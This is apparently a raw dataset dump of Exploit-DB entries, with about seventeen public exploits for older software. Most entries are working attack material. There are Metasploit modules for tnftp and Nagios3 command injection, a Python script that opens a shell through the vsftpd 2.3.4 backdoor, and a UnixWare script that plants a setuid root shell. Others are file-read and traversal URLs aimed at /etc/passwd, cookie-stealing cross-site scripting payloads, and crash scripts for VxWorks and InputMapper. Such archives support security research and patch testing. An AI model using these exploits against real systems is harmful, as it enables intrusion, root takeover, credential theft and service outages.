deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19785
Description: The ht://Dig Group ht://Dig 3.1.1/3.1.2/3.1.3/3.1.4/3.2 .0b1 - Arbitrary File Inclusion
Type: remote
Platform: unix
Date: 2000-02-29
Author: Geoff Hutchison

Exploit:
source: https://www.securityfocus.com/bid/1026/info

ht://dig is a web content search engine for Unix platforms. The software is set up to allow for file inclusion from configuration files. Any string surrounded by the opening singlw quote character ( ` ) is taken as a path to a file for inclusion, for example:
some_parameter:	`var/htdig/some_file`

htdig will also allow included files to be specified via form input. Therefore, any file can be specified for inclusion into a variable by any web user.

The URL:
http ://target/cgi-bin/htsearch?Exclude=%60/etc/passwd%60
will return a page with the contents of /etc/passwd in the 'exclude' field.
Exploit-DB #43112
Description: tnftp - 'savefile' Arbitrary Command Execution (Metasploit)
Type: remote
Platform: unix
Date: 2017-11-03
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'tnftp "savefile" Arbitrary Command Execution',
      'Description' => %q{
        This module exploits an arbitrary command execution vulnerability in
        tnftp's handling of the resolved output filename - called "savefile" in
        the source - from a requested resource.

        If tnftp is executed without the -o command-line option, it will resolve
        the output filename from the last component of the requested resource.

        If the output filename begins with a "|" character, tnftp will pass the
        fetched resource's output to the command directly following the "|"
        character through the use of the popen() function.
      },
      'Author' => [
        'Jared McNeill', # Vulnerability discovery
        'wvu' # Metasploit module
      ],
      'References' => [
        ['CVE', '2014-8517'],
        ['URL', 'http://seclists.org/oss-sec/2014/q4/459']
      ],
      'DisclosureDate' => 'Oct 28 2014',
      'License' => MSF_LICENSE,
      'Platform' => 'unix',
      'Arch' => ARCH_CMD,
      'Privileged' => false,
      'Payload' => {'BadChars' => '/'},
      'Targets' => [['ftp(1)', {}]],
      'DefaultTarget' => 0
    ))
  end

  def on_request_uri(cli, request)
    unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
      print_status("#{request['User-Agent']} connected")
      send_not_found(cli)
      return
    end

    if request.uri.ends_with?(sploit)
      send_response(cli, '')
      print_good("Executing `#{payload.encoded}'!")
      report_vuln(
        :host => cli.peerhost,
        :name => self.name,
        :refs => self.references,
        :info => request['User-Agent']
      )
    else
      print_status("#{request['User-Agent']} connected")
      print_status('Redirecting to exploit...')
      send_redirect(cli, sploit_uri)
    end
  end

  def sploit_uri
    (get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
      Rex::Text.uri_encode(sploit, 'hex-all')
  end

  def sploit
    "|#{payload.encoded}"
  end
end
Exploit-DB #20082
Description: University of Washington pop2d 4.46/4.51/4.54/4.55 - Remote File Read
Type: remote
Platform: unix
Date: 2000-07-14
Author: mandark

Exploit:
source: https://www.securityfocus.com/bid/1484/info

A vulnerability exists in versions of the ipop2d daemon, through version 4.55. ipop2d is part of the University of Washington imap package. Versions through 4.7c of the imap package are affected. Any user who has a pop account on the machine can view any world or group readable file on the file system. While on a shell account this is not a vulnerability, on a machine where a user only has POP access, this could result in the disclosure of information that might be useful in gaining information about other users on the system. This could in turn potentially be used to gain further access to the machine.

For this vulnerability to exist, the user must have an account on the system in question. This account does not need shell level access.

ipop2d, and the imap package, will run on many varieties of Unix and Unix-like operating systems.

[mandark@mandark mandark]$ telnet localhost 109
Trying 127.0.0.1...
Connected to localhost.localdomain.
Escape character is '^]'.
+ POP2 localhost.localdomain v4.46 server ready
helo mandark blehpasshere
#1 messages in /var/spool/mail/mandark
read 1
=389 characters in message 1
retr 
Return-Path: <root@mandark.jumpline.com>
Received: (from root@localhost)
by mandark.jumpline.com (8.10.1/8.10.1) id e6EGS7C27037
for mandark@localhost; Fri, 14 Jul 2000 12:28:07 -0400 
Date: Fri, 14 Jul 2000 12:28:07 -0400
From: root <root@mandark.jumpline.com>
Message-Id: <[PII_REDACTED]28.e6EGS7C27037@mandark.jumpline.com>
To: mandark@mandark.jumpline.com
Status: RO

message is here...

acks
=0 No more messages
fold /etc/passwd 
#1 messages in /etc/passwd
read 1
=1178 characters in message 1
retr
Date: Thu, 13 Jul 2000 16:50:07 -0400
From: root@mandark.jumpline.com 
Subject: /etc/passwd
MIME-Version: 1.0 
Content-Type: TEXT/PLAIN; charset=US-ASCII
Status:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root: 
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp: 
nobody:x:99:99:Nobody:/: 
xfs:x:100:101:X Font Server:/etc/X11/fs:/bin/false
postfix:x:101:104:postfix:/var/spool/postfix:
gdm:x:0:0::/home/gdm:/bin/bash
mandark:x:500:503::/home/mandark:/bin/bash
godie:x:0:0::/home/godie:/bin/bash
mp3:x:501:506::/mp3:/bin/bash
chefo:x:502:507::/home/chefo:/bin/bash 
crunch:x:503:508::/home/crunch:/bin/bash
gsx:x:505:510::/home/gsx:/bin/csh
matt:x:506:511::/home/matt:/bin/bash
lyw0d:x:507:512::/home/lyw0d:/bin/bash
Exploit-DB #22646
Description: Vignette 4.x/5.0 - Memory Disclosure
Type: remote
Platform: unix
Date: 2003-05-26
Author: S21Sec

Exploit:
source: https://www.securityfocus.com/bid/7684/info

Vignette is prone to an issue which may expose the contents of memory to remote attackers. This condition is due to a flaw in how StoryServer calculates the size of certain characters in URI variables, which may cause data from adjacent memory to be returned to the remote attacker in the response.

This issue was reported for Vignette on IBM AIX. Other platforms may also be affected, though this has not been confirmed. The issue affects some of the default templates provided with Vignette.

http://www.example.com/vgn/login/1,501,,00.html?cookieName=x--\>
Exploit-DB #22648
Description: Vignette 4/5 - Cross-Site Scripting
Type: remote
Platform: unix
Date: 2003-05-26
Author: Ramon Pinuaga Cascales

Exploit:
source: https://www.securityfocus.com/bid/7687/info

Vignette software has been reported prone to multiple cross-site scripting vulnerabilities.

Reportedly the issue presents itself, because the Vignette software does not sufficiently sanitize HTML characters from user-supplied data.

It may be possible for an attacker to supply and execute HTML and script code on a web client in the context of the site hosting the Vignette software. This may allow for theft of cookie-based authentication credentials and other attacks.

This issue was reported for Vignette StoryServer version 4 to version 6; it has been speculated that all current versions are vulnerable. 

https://www.example.com/Page/1,10966,,00.html?var=<script>alert('s21sec')</script>

http://www.example.com/vgn/login?errInfo="%2b%20document.cookie%20%2b"
Exploit-DB #49757
Description: vsftpd 2.3.4 - Backdoor Command Execution
Type: remote
Platform: unix
Date: 2021-04-12
Author: HerculesRD

Exploit:
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3   
                                                           
from telnetlib import Telnet 
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)                           
parser=argparse.ArgumentParser()        
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()       
host = args.host                        
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()
Exploit-DB #21704
Description: W3C CERN HTTPd 3.0 Proxy - Cross-Site Scripting
Type: remote
Platform: unix
Date: 2002-08-12
Author: TAKAGI Hiromitsu

Exploit:
source: https://www.securityfocus.com/bid/5447/info

CERN httpd is a freely available HTTP server and HTTP proxy server available from the W3C.

The httpd Proxy is vulnerable to a cross site scripting attack.

The condition is present because of the way URLS are displayed in error messages. It is possible for arbitrary HTML or script code to be embedded in the error page through a maliciously constructed link. When the error is displayed, the script will be executed within the context of the proxy server's error page on the client browser. This may permit various web-based attacks including stealing cookies, etc.

Accessing the following URL with the browser configured to use CERN httpd as a proxy,

http://nonexistenthost.google.com/<SCRIPT>document.write(document.cookie)</SCRIPT>

will cause CERN httpd Proxy to produce output like this:
========================================================
<HTML>
<HEAD>
<TITLE>Error Message</TITLE>
</HEAD>
<BODY>
<H1>Fatal Error 500</H1>
Can't Access Document: http://nonexistenthost.google.com/<SCRIPT>document.write(document.cookie)</SCRIPT>.
<P>
<B>Reason:</B> Can't locate remote host: nonexistenthost.google.com.
<P>
...
========================================================
Exploit-DB #20594
Description: WU-FTPD 2.4.2/2.5/2.6 - Debug Mode Client Hostname Format String
Type: remote
Platform: unix
Date: 2001-01-23
Author: Wu-ftpd team

Exploit:
source: https://www.securityfocus.com/bid/2296/info

Wu-ftpd is a widely used unix ftp server. It contains a format string vulnerability that may be exploitable under certain (perhaps 'extreme') circumstances.

When running in debug mode, Wu-ftpd logs user activity to syslog in an insecure manner. An attacker with control over the server's hostname resolving facility could exploit this vulnerability to get root access remotely on the victim host. 

The following example demonstrates the vulnerability.

Note: /etc/hosts is used as the example name resolving mechanism. Could be DNS, NIS, etc.

Conditions:

$ grep 127.0.0.1 /etc/hosts
127.0.0.1 %x%x%x%x%x%x%x%x%x%x

$ grep ftpd /etc/inetd.conf
ftp stream tcp nowait root /usr/sbin/tcpd /tmp/wuftpd-2.6.0/src/ftpd -v

$ ncftpget -F 127.0.0.1 /tmp /usr/lib/ld.so

$ tail /var/log/syslog.debug

Jan 24 14:17:01 xxx ftpd[30912]: PASV port 47479 assigned to 80862b0806487eb9778084da87bffff16c[PII_REDACTED]bfffe108401c9004 [127.0.0.1]

..<snip extra output>..
Exploit-DB #21161
Description: WU-FTPD 2.6 - File Globbing Heap Corruption
Type: remote
Platform: unix
Date: 2001-11-27
Author: Core Security Technologies

Exploit:
source: https://www.securityfocus.com/bid/3581/info

Wu-Ftpd is an FTP server based on the BSD 'ftpd' that is maintained by Washington University.

Wu-Ftpd allows clients to organize files for FTP actions based on "file globbing" patterns. File globbing is also used by various shells. The implementation of file globbing included in Wu-Ftpd contains a heap-corruption vulnerability that may allow an attacker to execute arbitrary code on a server remotely.

This vulnerability was initially scheduled for public release on December 3, 2001. However, Red Hat has made details public as of November 27, 2001. As a result, we are forced to warn other users of the vulnerable product so that they may take appropriate actions. 

ftp> open localhost
Connected to localhost (127.0.0.1).
220 sasha FTP server (Version wu-2.6.1-18) ready.
Name (localhost:root): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ~{
227 Entering Passive Mode (127,0,0,1,241,205)
421 Service not available, remote server has closed connection

1405 ? S 0:00 ftpd: accepting connections on port 21
7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd
26256 ? S 0:00 ftpd: sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
26265 tty3 R 0:00 bash -c ps ax | grep ftpd
(gdb) at 26256
Attaching to program: /usr/sbin/wu.ftpd, process 26256
Symbols already loaded for /lib/libcrypt.so.1
Symbols already loaded for /lib/libnsl.so.1
Symbols already loaded for /lib/libresolv.so.2
Symbols already loaded for /lib/libpam.so.0
Symbols already loaded for /lib/libdl.so.2
Symbols already loaded for /lib/i686/libc.so.6
Symbols already loaded for /lib/ld-linux.so.2
Symbols already loaded for /lib/libnss_files.so.2
Symbols already loaded for /lib/libnss_nisplus.so.2
Symbols already loaded for /lib/libnss_nis.so.2
0x40165544 in __libc_read () from /lib/i686/libc.so.6
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x61616161) at malloc.c:3136
3136 in malloc.c
Exploit-DB #23449
Description: Xerox MicroServer - Web Server Directory Traversal
Type: remote
Platform: unix
Date: 2003-12-19
Author: J.A. Gutierrez

Exploit:
source: https://www.securityfocus.com/bid/9256/info

It has been reported that Xerox_MicroServer/Xerox11 may be prone to a directory traversal vulnerability that may allow an attacker to traverse outside the server root directory by using '/..' or '/.' character sequences at the end of a URL request. 

GET /assist/..
GET /assist/////.././../../.
http://www.example.com////../../data/config/microsrv.cfg
http://www.example.com////////../../../../../../etc/passwd
Exploit-DB #24690
Description: IBM Lotus Domino 6.x - Cross-Site Scripting / HTML Injection
Type: webapps
Platform: unix
Date: 2004-10-18
Author: Juan C Calderon

Exploit:
source: https://www.securityfocus.com/bid/11458/info

It is reported that Lotus Domino is susceptible to a cross-site scripting and an HTML injection vulnerability. These issues are due to a failure of the application to properly sanitize user-supplied input.

The cross-site scripting issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

The HTML injection issue may allow an attacker to inject malicious HTML and script code into the application. An unsuspecting user viewing a page that contains the malicious comment will have the attacker-supplied script code executed within their browser in the context of the vulnerable site. This issue may be leveraged to steal cookie based authentication credentials. Other attacks are also possible.

http://www.example.com/FormReflectingURLValue?OpenForm&Field=%5B%3Cscript%3E%2E%2E%2E%2E%2E%3C%2Fscript%3E%5D
Exploit-DB #9861
Description: Nagios3 - 'statuswml.cgi' Command Injection (Metasploit)
Type: webapps
Platform: unix
Date: 2009-10-30
Author: H D Moore

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Nagios3 statuswml.cgi Ping Command Execution',
			'Description'    => %q{
				This module abuses a metacharacter injection vulnerability in the
			Nagios3 statuswml.cgi script. This flaw is triggered when shell
			metacharacters are present in the parameters to the ping and
			traceroute commands.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2009-2288' ],
					[ 'OSVDB', '55281'],
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,				
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'BadChars'    => '<>',
					'Compat'      =>
						{
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        => 
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget' => 0))
			
			register_options(
				[
					OptString.new('URI',  [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]),
					OptString.new('USER', [true, "The username to authenticate with", "guest"]),
					OptString.new('PASS', [true, "The password to authenticate with", "guest"]),								
				], self.class)
	end
	
	def exploit

		print_status("Sending request to http://#{rhost}:#{rport}#{datastore['URI']}")
		
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => datastore['URI'],	
			'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
			'vars_post' => 
			{
				'ping' => ';' + payload.encoded + '&'
			}
		}, 10)
		
		
		if(not res)
			if session_created?
				print_status("Session created, enjoy!")
			else
				print_error("No response from the server")
			end
			return
		end
		
		if(res.code == 401)
			print_error("Please specify correct values for USER and PASS")
			return
		end
		
		if(res.code == 404)
			print_error("Please specify the correct path to statuswml.cgi in the URI parameter")
			return
		end
		
		if(res.body =~ /Invalid host name/)
			print_error("This server has already been patched")
			return
		end
		
		if(res.body =~ /p mode='nowrap'>(.*)<\/p>/smi)
			print_status("Displaying command response")
			out = $1
			print_line(out.gsub(/<b>|<\/b>|<br.>/, ''))
			return
		end

		
		print_status("Unknown response, displaying raw HTML")
		print_line(res.body)
	end

end
Exploit-DB #21239
Description: Caldera UnixWare 7.1.1 - WebTop 'SCOAdminReg.cgi' Arbitrary Command Execution
Type: local
Platform: unixware
Date: 2002-01-20
Author: jGgM

Exploit:
source: https://www.securityfocus.com/bid/3936/info

UnixWare is a commercial Unix implementation distributed originally developed by SCO. It is now maintained and distributed by Caldera.

The scoadminreg.cgi program does not properly validate user input when executed with the -c option. Because of this, a user may load an arbitrary program with the -c flag. When this program is executed, the file loaded with the -c flag will be executed with administrative privileges. 

#!/bin/sh

## jggm@mail.com

CC="gcc"
SCOADMIN=/opt/webtop/bin/i3un0212/cgi-
bin/admin/scoadminreg.cgi

#
#
#
#

echo
echo "jGgM root exploit"
echo "http://www.netemperor.com/"
echo
echo "Mail: jggm@mail.com"
echo

if [ ! -x $SCOADMIN ]; then
   echo "$SCOADMIN file not found"
   exit 2;
fi

cat >/tmp/jggm.c <<_EOF

main()
{
   setuid(0);
   setgid(0);
   chown("/tmp/jGgM_Shell", 0, 0);
   chmod("/tmp/jGgM_Shell", 04755);
}
_EOF

cp /bin/ksh /tmp/jGgM_Shell
$CC -o /tmp/jggm /tmp/jggm.c

$SCOADMIN "-c /tmp/jggm;/tmp/jggm;"

rm -rf /tmp/jggm /tmp/jggm.c

/tmp/jGgM_Shell

# end of file..
Exploit-DB #47233
Description: VxWorks 6.8 - TCP Urgent Pointer = 0 Integer Underflow
Type: dos
Platform: vxworks
Date: 2019-08-12
Author: Zhou Yu

Exploit:
# Exploit Title: VxWorks TCP Urgent pointer = 0 integer underflow vulnerability
# Discovered By: Armis Security
# PoC Author: Zhou Yu (twitter: @504137480)
# Vendor Homepage: https://www.windriver.com
# Tested on: VxWorks 6.8
# CVE: CVE-2019-12255
# More Details: https://github.com/dazhouzhou/vxworks-poc/tree/master/CVE-2019-12255
# The PoC can crash VxWorks tasks(set the port corresponding to the task in the PoC), such as telnet, ftp, etc.

from scapy.all import *

if __name__ == "__main__":
    ip = "192.168.10.199"
    dport = 23
    seq_num = 1000
    payload = "\x42"*2000
    sport = random.randint(1024,65535)

    syn = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "S", seq=seq_num)
    syn_ack = sr1(syn)

    seq_num = seq_num + 1
    ack_num = syn_ack.seq+1
    ack = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "A", seq=seq_num, ack=ack_num)
    send(ack)

    psh = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "PAU", seq=seq_num, ack=ack_num, urgptr=0) / payload
    send(psh)
Exploit-DB #47158
Description: Apple iMessage - DigitalTouch tap Message Processing Out-of-Bounds Read
Type: dos
Platform: watchos
Date: 2019-07-24
Author: Google Security Research

Exploit:
The digital touch iMessage extension can read out of bounds if a malformed Tap message contains a color array that is shorter than the points array and delta array. The method [ETTapMessage initWithArchiveData:] checks that the points array is twice as long as the deltas array, but only checks that the colors array is longer than eight bytes, even though a color is needed for every point-delta pair that is processed.

To reproduce the issue with the files in tapcrash.zip:

1) install frida (pip3 install frida)
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
3) in injectMessage.js replace the marker "FULL PATH" with the path of the obj file
4) in the local directory, run:

python3 sendMessage.py

This will lead to a crash in SpringBoard requiring no user interaction.

I've also attached a crash dump and ETencode.m, which is the file that was used to generate the obj file.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47158.zip
Exploit-DB #47406
Description: InputMapper 1.6.10 - Denial of Service
Type: dos
Platform: watchos
Date: 2019-09-23
Author: elkoyote07

Exploit:
# Exploit Title: InputMapper < 1.6.10 Local Denial of Service
# Date: 20.09.2019
# Vendor Homepage: https://inputmapper.com/
# Software Link: https://inputmapper.com/downloads/category/2-input-mapper
# Exploit Author: elkoyote07
# Tested Version: 1.6.10
# Tested on: Windows 10 x64


# 1.- Start Input Mapper
# 2.- Click on Guest (Top left)
# 3.- Click on Login
# 3.- Copy the content of exploit.txt in the Username field
# 4.- Once copied double-click on Username field
# 5.- Happy crash :)




#!/usr/bin/python

t = "A" * 15000

try:
f=open("exploit.txt","w")
f.write(t)
f.close()
print "Done"
except:
print "Error"